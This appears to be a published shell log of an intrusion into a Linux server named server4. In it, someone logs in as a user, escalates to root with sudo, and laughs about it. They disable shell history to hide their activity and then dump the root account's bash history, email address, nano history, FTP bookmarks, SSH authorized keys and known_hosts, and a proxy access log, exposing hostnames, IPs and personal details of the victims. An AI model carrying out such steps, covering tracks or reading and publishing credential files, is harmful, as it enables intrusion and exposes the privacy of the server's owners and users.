LOGIN tty6 May 5 01:59 27969 id=6
LOGIN ttyS0 May 5 01:59 8347 id=T0
djdd + pts/0 Jun 10 00:50 . 27808 (c-76-108-85-21.hsd1.fl.comcast.net)
pts/1 Jun 8 16:54 11261 id=ts/1 term=0 exit=0
pts/2 May 17 19:01 12001 id=ts/2 term=0 exit=0
pts/3 May 10 22:51 15317 id=/3 term=0 exit=0
pts/3 Jun 8 16:53 20448 id=ts/3 term=0 exit=0
pts/5 Jun 1 05:44 24188 id=ts/5 term=0 exit=0
pts/6 Jun 8 16:54 21971 id=ts/6 term=0 exit=0
pts/7 Jun 7 18:53 20846 id=ts/7 term=0 exit=0
pts/8 Jun 7 18:59 29897 id=ts/8 term=0 exit=0
djdd@server4:~$ id
uid=1005(djdd) gid=1005(djdd) groups=1005(djdd)
djdd@server4:~$ sudo id
Password:
uid=0(root) gid=0(root) groups=0(root)
djdd@server4:~$ # AHAHAHAHAHA
djdd@server4:~$ sudo su -l
su: invalid option — l
Usage: su [OPTS] [-] [username [ARGS]]
– make this a login shell
-c, –command=
pass command to the invoked shell using its -c
option
-m, -p, –preserve-environment
do not reset environment variables, and keep the
same shell
-s, –shell=
use shell instead of the default in /etc/passwd
djdd@server4:~$ sudo su –
server4:~# unset HISTFILE ; unset SAVEHIST
server4:~# w
00:54:14 up 35 days, 22:56, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
djdd pts/0 c-76-108-85-21.h 00:50 0.00s 0.04s 0.00s sshd: djdd [pri
server4:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 1492 504 ? S May05 0:34 init [2]
root 2 0.0 0.0 0 0 ? S May05 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SN May05 0:07 [ksoftirqd_CPU0]
root 4 0.0 0.0 0 0 ? S May05 0:08 [kswapd]
root 5 0.0 0.0 0 0 ? S May05 0:00 [bdflush]
root 6 0.0 0.0 0 0 ? S May05 0:12 [kupdated]
root 7 0.0 0.0 0 0 ? S meh.txt
less meh.txt
/etc/init.d/bind
/etc/init.d/bind stop
/etc/init.d/mysql status
/etc/init.d/mysql restart
top
top
w
top
top
w
top
cd /home/hlds/
ls
cd ts
cd addons/
cd amxmodx
cd configs/
emacs plugins.ini
w
emacs plugins.ini
w
chmod 777 -R ./
w
chmod 666 /dev/ptmx
chmod 666 /dev/null
ls -l /dev/null
less .bash_history
w
dmesg
man hlds
man -k
man hlds_run
ls ~hlds
top
tail -f /var/log/debug
tail -f /var/log/daemon.log
tail -f /var/log/kern.log
top
cd New/openssl-0.9.8d
ls
make
make install
cd ../new
w
ssh server1.zloche.net
ssh zloche.zapto.org
cd /etc/
ls
cd ssh/
ls
less
less sshd_config
less sshd_config
emacs ssh_config
emacs sshd_config
/etc/init.d/webmin
/etc/init.d/webmin start
apt-get install webmin
locate webmin
cd ~stax/
finger gumbie
ls
wgethttp://prdownloads.sourceforge.net/webadmin/webmin_1.320_all.deb
ls
dpkg webmin_1.320_all.deb
dpkg –help
dpkg -i webmin_1.320_all.deb
locate webmin
cd /etc/webmin/
ls
emacs miniserv.conf
emacs miniserv.users
link
links
w
w
top
ssh stax@zloche.zapto.or
ssh stax@zloche.zapto.org
top
free -m
ssh stax@www.zloche.net
top
su hlds
w
w
free
cd /usr/src/linux
ssh stax@www.zloche.net
cat /proc/version
su stax
adduser ircd
ls ~ircd
adduser nagios
pico /etc/passwd
mv /home/nagios/ /usr/local
uname -a
df
ls ~nagios
su – nagios
su – ircd
pico /etc/hosts.deny
pico /etc/hosts.deny
tail -f /var/log/denyhosts
fg
id
cd /etc/bind
ls
ls -l
ls
pico named.conf
pico named.conf.local
man bind
man named.conf
ls
mkdir slave
pico named.conf.local
host server3.zloche.net
host irc.zloche.net
pico named.conf.local
pwd
ls slave
ls -l
rndc reload
/etc/init.d/bind reload
ps aux | grep named
/etc/init.d/bind stop
/etc/init.d/bind start
ps aux | grep named
ls slave
ls slave/rmachine.net.hosts
less slave/rmachine.net.hosts
ping server4
ping server3
dig rmachine.net ns
less named.conf
less named.conf.local
DD
ssh gumbie@server4
tail -F /var/log/messages
tail -F /var/log/messages /var/log/auth.log
fg
mkdir New
cd New
elinks http://www.google.com
ls
fg
ls
tar -xzf openssl-0.9.8d.tar.gz
cd openssl-0.9.8d
./configure
ls
./Configure
./config
make
make install
cd ..
ls -l

pico /etc/services
ls /etc/inetd.conf
pico /etc/inetd.conf
which tcpd
pico /etc/inetd.conf
cp ~nagios/bin/nrpe /usr/sbin
ls -l /usr/sbin/nrpe
ps auxww | grep inetd
/etc/init.d/inetd reload
fg
fg
ls /var/log
ls ~nagios/var
ls ~nagios
ls ~nagios/bin
./nrpe -h

pico /etc/inetd.conf
/etc/init.d/inetd reload
fg
fg
pico /etc/resolv.conf
fg
ls
ldconfig
elinks http://www.openssl.org
tar -xzf openssl-0.9.8d.tar.gz
cd oepn
cd openssl-0.9.8d
./configure
./config
make
ls /usr/local/ssl/lib
make install
ls /usr/local/ssl/lib
less /usr/local/ssl/lib/pkgconfig/libssl.pc
less /usr/local/ssl/lib/pkgconfig/*
pico /etc/ld.so.conf
ldconfig
ls
find . -name “libssl*”
less FAQ
less PROBLEMS
./configure –help | grep shared
./config –help | grep shared
./config shared
make
.
ls /usr/local/ssl
ls /usr/local/ssl/lib
ls /usr/local/ssl/lib
ldconfig
apt-get install make
apt-get install gcc
apt-get install ssl
apt-get install openssl
apt-get install openssl-dev
apt-get install openssl-devel
apt-cache search openssl|less
apt-get install libssl0.9.7
apt-get install ping
apt-get install iputils-ping
ping -h
cd ..
cd
fg
locate denyhosts
apt-cache search denyhosts
cd New
mv ~gumbie/DenyHosts-2.6.tar.gz .
tar -xzf DenyHosts-2.6.tar.gz
ls
cd DenyHosts-2.6
ls
less README.txt
python setup.py install
apt-get install python
python
apt-cache search python | grep 2.3
apt-cache search python | grep 2.3 | grep lib
less README.txt
ls
python setup.py install
ls /usr/lib/python2.3

apt-cache search python | grep 2.3 | grep lib| less
apt-get install python2.3-dev
python setup.py install
ls /usr/share/denyhosts/
ln -s /usr/share/denyhosts /etc
cd /etc/denyhosts
cp denyhosts.cfg-dist denyhosts.cfg
pico denyhosts.cfg
less /var/log/messages
less /var/log/auth.log
pico denyhosts.cfg
less /var/log/auth.log
pico denyhosts.cfg
ls
pico daemon-control-dist
cp daemon-control-dist daemon-control
pico dam
pico daemon-control
pico daemon-control
cp -P daemon-control /etc/init.d/
cd /etc/rc3
cd /etc/rc3.d/
ls
ls -l
ln -s ../init.d/daemon-control S99
rm S99
mv ../init.d/daemon-control ../init.d/denyhosts
ln -s ../init.d/denyhosts S99denyhosts
cd ../rc4.d
ls
ln -s ../init.d/denyhosts S99denyhosts
cd ../rc5.d
ls -l
ln -s ../init.d/denyhosts S99denyhosts
cd ../rc6.d
ls
ln -s ../init.d/denyhosts K21denyhosts
cd ../rc0.d/
ln -s ../init.d/denyhosts K21denyhosts
ls -l
cd ../rc1.d/
ls
ln -s ../init.d/denyhosts K21denyhosts
cd ../rc2.d/
ls
ln -s ../init.d/denyhosts K21denyhosts
ps aux | grep init
ls
rm K21
rm K21denyhosts
ln -s ../init.d/denyhosts S99denyhosts
ls ../rc1.d/
cd
fg
/etc/init.d/denyhosts start

fg
fg
tail -F /var/log/messages /var/log/auth.log /var/log/kern.log
free
ls /etc/security/
ls /etc/security/time.conf
less /etc/security/time.conf
grep kill *
less install_rtm.sh
grep kill *
less install_rtm.sh
crontab -l
ls /etc/crontab
less /etc/crontab
man rtm
pico /etc/crontab
/etc/init.d/cron restart
fg
ls
tail -F /var/log/messages /var/log/auth.log /var/log/kern.log
cat /etc/crontab
id
cd ~nagios
ls
ls bin
ls etc
mkdir -p tmp/etc
cp etc/nsca.cfg tmp/etc
cp etc/ndo2db.cfg tmp/etc
cp etc/ndomod.cfg tmp/etc
cd tmp
ls ../bin
ls ../libexec
ls ..
ls
ls ../etc
ls ../etc/nrpe.cfg etc
cp ../etc/nrpe.cfg etc
ls -l
chown -R nagios.nagios *
ls -l
tar -czf NagiosAgent_nrpe.tgz *
tar -tzf NagiosAgent_nrpe.tgz
mv NagiosAgent_nrpe.tgz ..
cd ..
chown -R nagios.nagios NagiosAgent_nrpe.tgz
rmdir tmp
ls tmp
rm -rf tmp
ls
ls ndoutils-1.4b2/
ls ndoutils-1.4b2/src/
ls -l
passwd nagios
fg
ls
mv NagiosAgent_nrpe.tgz ~gumbie
chown gumbie ~gumbie/NagiosAgent_nrpe.tgz
fg
fg
pico /etc/denyhosts/data/allow-hosts
pico /etc/denyhosts/denyhosts.cfg
mv /etc/denyhosts/data/allow-hosts /etc/denyhosts/data/allowed-hosts
ls /etc/denyhosts/data/
ls ~gumbie
fg
pico .bash_history
grep vfr .bash_history
cd /var/bin
cd /etc/bind
ls
cat named.conf.local
ls -l slave/
fg
dd
apt-cache search ncftp
apt-get install ncftp2
ncftp server3
ncftp -u server3
ncftp -u server3
ls
ls Xlinx/
ls
mv Xlinx/ ~gumbie
chown gumbie ~gumbie/Xlinx/
chown -R gumbie ~gumbie/Xlinx/
ls /etc/init.d/squid status
ls /etc/init.d/squid start
ls /etc/init.d/squid
/etc/init.d/squid start
ps auxww | grep squid
pico /etc/squid/squid.conf
/etc/init.d/squid stop
id
cd /etc/bind
ls
cd slave/
ls
less zloche.net.hosts
dig zloche.net ns
whois zloche.net | less
dig zloche.net soa
cd ..
ls
less named.conf
less named.conf.options
less named.conf.local
ls /home
cd /usr/local/nagios/
ls
tar -czf copyOfInstall.tgz *
scp copyOfInstall.tgz nagios@irc.liveits.com:.
pico ~/.ssh/known_hosts
scp copyOfInstall.tgz nagios@irc.liveits.com:.
ls
rm copyOfInstall.tgz
crontab -l
crontab nagios -l
crontab -l nagios
crontab -u nagios -l
server4:~# cat .email
leclairalexandre@hotmail.com
server4:~# cat .nano_history
nasgios
nagios
lock
LOCK
_LOCK
lock_
run
allow-hosts
allow
207
207.
65.95
65.94
65.9
bas2
.pid
pid
denyhosts.lock
denyhosts_lock
acl
mynet
ournet
my
password
server4:~# cd ../.ncftp
server4:~/.ncftp# ls -alh
total 24K
drwxr-xr-x 2 root root 4.0K Mar 27 19:05 .
drwx—— 14 root root 4.0K Jun 1 06:58 ..
-rw——- 1 root root 145 Mar 27 19:05 bookmarks
-rw-r–r– 1 root root 59 Mar 27 19:05 history
-rw-r–r– 1 root root 697 Mar 27 19:03 log
-rw-r–r– 1 root root 312 Mar 27 19:05 prefs
server4:~/.ncftp# cat *
NcFTP bookmark-file version: 7
Number of entries: 1
server3,server3,gumbie,,,/home/gumbie,I,,46094ed6,1,1,0,1,80.248.208.223,,213494,61224,2,0,S
quit
ls
ls
pwd
cd ~gumbie
ls
get -R Electronics_Apps/
quit
server3 at Tue Mar 27 18:52:26 2007
server3 at Tue Mar 27 18:52:47 2007
get 43.66 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.ChipScope.Pro.v8.2.03i.Incl.Keymaker-ZWT.rar
get 45.51 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.ChipScope.Pro.v8.2.03i.Linux.Incl.Keymaker-ZWT.rar
get 56.73 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.PlanAhead.v8.2.3-ZWT.rar
get 62.33 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.PlanAhead.v8.2.3.Linux-ZWT.rar
get 256.00 kB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xten.Networks.X-Pro.v2.2.2.ALL.PPC.Retail-DVTPDA/Xten.Networks.X-Pro.v2.2.2.ALL.PPC.Retail-DVTPDA/d-000xt.rar
anonopen 1
anonpass gumbie@server4.zloche.net
blank-lines 1
ftp-mode 0
logsize 10240
maxbookmarks 0
pager /bin/more
progress-meter 2
remote-msgs 0
startup-lcwd
startup-msgs 3
timeout 600
trace 0
utime 1
visual 1
show-trailing-space 0
total-runs 3
total-xfer-hundredths-of-seconds 61224
total-xfer-kbytes 213494
server4:~/.ncftp# cd ../.ssh
server4:~/.ssh# ls -alh
total 24K
drwx—— 2 root root 4.0K Feb 13 02:41 .
drwx—— 14 root root 4.0K Jun 1 06:58 ..
-rw——- 1 root root 509 Feb 21 2005 authorized_keys2
-rw-r–r– 1 root root 4.4K May 27 13:27 known_hosts
-rw-r–r– 1 root root 3.0K Feb 9 02:48 known_hosts~
server4:~/.ssh# cat *
from=”213.186.50.100″ ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAt3XaIhEoRK5sEKm6wtYyazLOx3w+Yv9+bpfEvLftH
r2hxZ2TY2A655iwMbgvhHqsMuGEjK9yGkZIQbUgB6HvOgOWOwJSX6Gc9Ac7GuH11xSU8t
HDuTQot6fVtgcm2Y/VUFi65Knz9rLHz7h/Zy29ek+UYav5T7juhBIuk57cDxs=
root@cache.ovh.net
from=”::ffff:213.186.50.100″ ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAt3XaIhEoRK5sEKm6wtYyazLOx3w+Yv9+bpfEvLftH
r2hxZ2TY2A655iwMbgvhHqsMuGEjK9yGkZIQbUgB6HvOgOWOwJSX6Gc9Ac7GuH11xSU8t
HDuTQot6fVtgcm2Y/VUFi65Knz9rLHz7h/Zy29ek+UYav5T7juhBIuk57cDxs=
root@cache.ovh.net

localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAxgnjMIPg1s3fGZPAtyFjtcDUGX6my1X7YFYnlv1y9
PL78if+wsBgT6SY9WWtqeu1owAjCMeMHPfU3GMV9Q5dGD74CSENGpfzMr8vrFc+D8yqj9
vS080AFByxp/NN9AFYFUn4c7rYfdnPzBt/ur5f51KzlVyhV++TcSBX4rToqxM=
10.48.100.81 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAwDm7jfhCI0rtwj5/Wpv3AvHN81RKb3lFALFhtl80i
1KB2pMlBJNRuAkgvkPFpleyKEHol6tYuMSMCn6qiV4rKJ1wcKoTyVlYNl296381PYdYNX
SlA58SD4ErWx5Ttz45iAJL8I/2ToxGOX0k1abAIEPiaCKIsf1k7/23jBkWjlE=
http://www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK
7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB
1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
66.168.220.212 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKDMs5or
hRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubxDIJvFKcTfN
i+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5
LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iATI5SrFRCfWNkC7gH/oFxX
M/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+
BE810BNmXi0QA6WlYUOpMJj9Q==
server4.zloche.net,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
zloche.zapto.org ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
server4 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
server3 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
server1.zloche.net,65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
server1 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
65.94.126.14 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
http://www.zloche.com ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK
7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB
1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
127.0.0.1 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
irc.liveits.com,68.117.250.132 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA4BAf00qd6FUDb41gGvjrAzt4fl7T52sPSZt6rj7sm
8JmBZcwiZbQLos4WWQ9C8EeWRwk8mP7DmoHapC8qs/PIfUOturidZUPWIpn/RQ5E/BiVy
9q+vSI0Oz3s7KXoD4LbCqzSca9jbKSdk1BlH8Jz+fOG5+XUcOYmcbaSYU73PqLt+gJ+Ye
XspnBjCCqA7/sD6KfgWAYQh8KiJYjciUJ1Kc5tw8MISW0v3Sxphp8QlcuAk1M8zKSP8uZ
Z4Dsiw/r75SjFCTNKOCr8dzcKwL3tyMRtPGH0sRDmLQI4ndmBEb1gldknSUZOilDVlYJK
K7phyzopzd+GXSXlIhWnhFc8w==
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAxgnjMIPg1s3fGZPAtyFjtcDUGX6my1X7YFYnlv1y9
PL78if+wsBgT6SY9WWtqeu1owAjCMeMHPfU3GMV9Q5dGD74CSENGpfzMr8vrFc+D8yqj9
vS080AFByxp/NN9AFYFUn4c7rYfdnPzBt/ur5f51KzlVyhV++TcSBX4rToqxM=
10.48.100.81 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAwDm7jfhCI0rtwj5/Wpv3AvHN81RKb3lFALFhtl80i
1KB2pMlBJNRuAkgvkPFpleyKEHol6tYuMSMCn6qiV4rKJ1wcKoTyVlYNl296381PYdYNX
SlA58SD4ErWx5Ttz45iAJL8I/2ToxGOX0k1abAIEPiaCKIsf1k7/23jBkWjlE=
http://www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK
7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB
1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
66.168.220.212 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKDMs5or
hRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubxDIJvFKcTfN
i+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5
LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iATI5SrFRCfWNkC7gH/oFxX
M/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+
BE810BNmXi0QA6WlYUOpMJj9Q==
irc.liveits.com ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKDMs5or
hRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubxDIJvFKcTfN
i+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5
LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iATI5SrFRCfWNkC7gH/oFxX
M/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+
BE810BNmXi0QA6WlYUOpMJj9Q==
server1.zloche.net,65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyNZzwK45
zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7GFLrrrlBYzX8
uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdSXaasNJMb4U=
server4.zloche.net,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
zloche.zapto.org ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
server4 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
server3 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
server4:/home# ls -alh
total 673M
d-wx–s–x 17 root root 4.0K May 6 03:51 .
drwxr-xr-x 21 root root 4.0K Feb 13 02:25 ..
-rw-r—– 1 proxy proxy 673M May 6 03:51 access.log
drwxrwxrwx 8 chat chat 4.0K Mar 29 13:36 chat
drwxr-xr-x 3 djdd djdd 4.0K Feb 1 04:28 djdd
drwxr-sr-x 2 root nogroup 4.0K Jan 30 00:11 ftp
drwxr-xr-x 2 gnomex gnomex 4.0K Apr 13 22:21 gnomex
drwxr-xr-x 10 gumbie gumbie 4.0K May 30 04:45 gumbie
drwxrwxrwx 12 hlds hlds 8.0K Mar 3 19:31 hlds
drwxr-xr-x 6 ircd ircd 4.0K Feb 7 05:18 ircd
drwx—— 2 root root 16K Jan 28 14:14 lost+found
drwxr-xr-x 7 madstorm madstorm 4.0K Apr 1 09:30 madstorm
drwxr-xr-x 8 misterinfo misterinfo 4.0K Feb 16 22:54 misterinfo
drwx—— 5 prototype prototype 4.0K Jun 3 20:01 prototype
drwxr-xr-x 25 stax stax 4.0K Jun 8 04:51 stax
drwxrwxrwx 5 www www 4.0K Apr 27 18:28 www
drwxrwxrwx 9 xposedbones xposedbones 4.0K Mar 31 01:07 xposedbones
drwxr-xr-x 6 yumiro yumiro 4.0K Jun 7 18:47 yumiro
server4:/home# head access.log
1178339246.919 74 58.211.123.102 TCP_MISS/302 524 GET
http://ad.iconadserver.com/imp? – DIRECT/208.67.68.11 –
1178339246.955 34 58.211.123.102 TCP_MISS/302 522 GET
http://ad.iconadserver.com/imp? – DIRECT/208.67.68.11 –
1178339246.969 1314 72.36.179.122 TCP_MISS/200 14794 GET
http://www.gzlvc.com/mfkiqpl/guestbook.asp – DIRECT/69.25.142.5 text/html
1178339246.969 565 72.232.14.66 TCP_MISS/302 503 POST
http://mino.s35.xrea.com/mino/cbbs.cgi – DIRECT/219.163.200.87 text/html
1178339247.011 1161 66.232.123.181 TCP_MISS/200 7229 POST
http://hamohamo-web.hp.infoseek.co.jp/cgi-bin/light62/./light.cgi –
DIRECT/210.148.115.140 text/html
1178339247.051 2061 72.232.14.66 TCP_MISS/200 494 POST
http://kevadlilleke.pri.ee/wp-comments-post.php – DIRECT/194.106.101.165
text/html
1178339247.088 25 58.211.123.102 TCP_MISS/302 519 GET
http://ad.iconadserver.com/imp? – DIRECT/208.67.68.11 –
1178339247.125 1970 72.232.14.66 TCP_MISS/302 511 POST
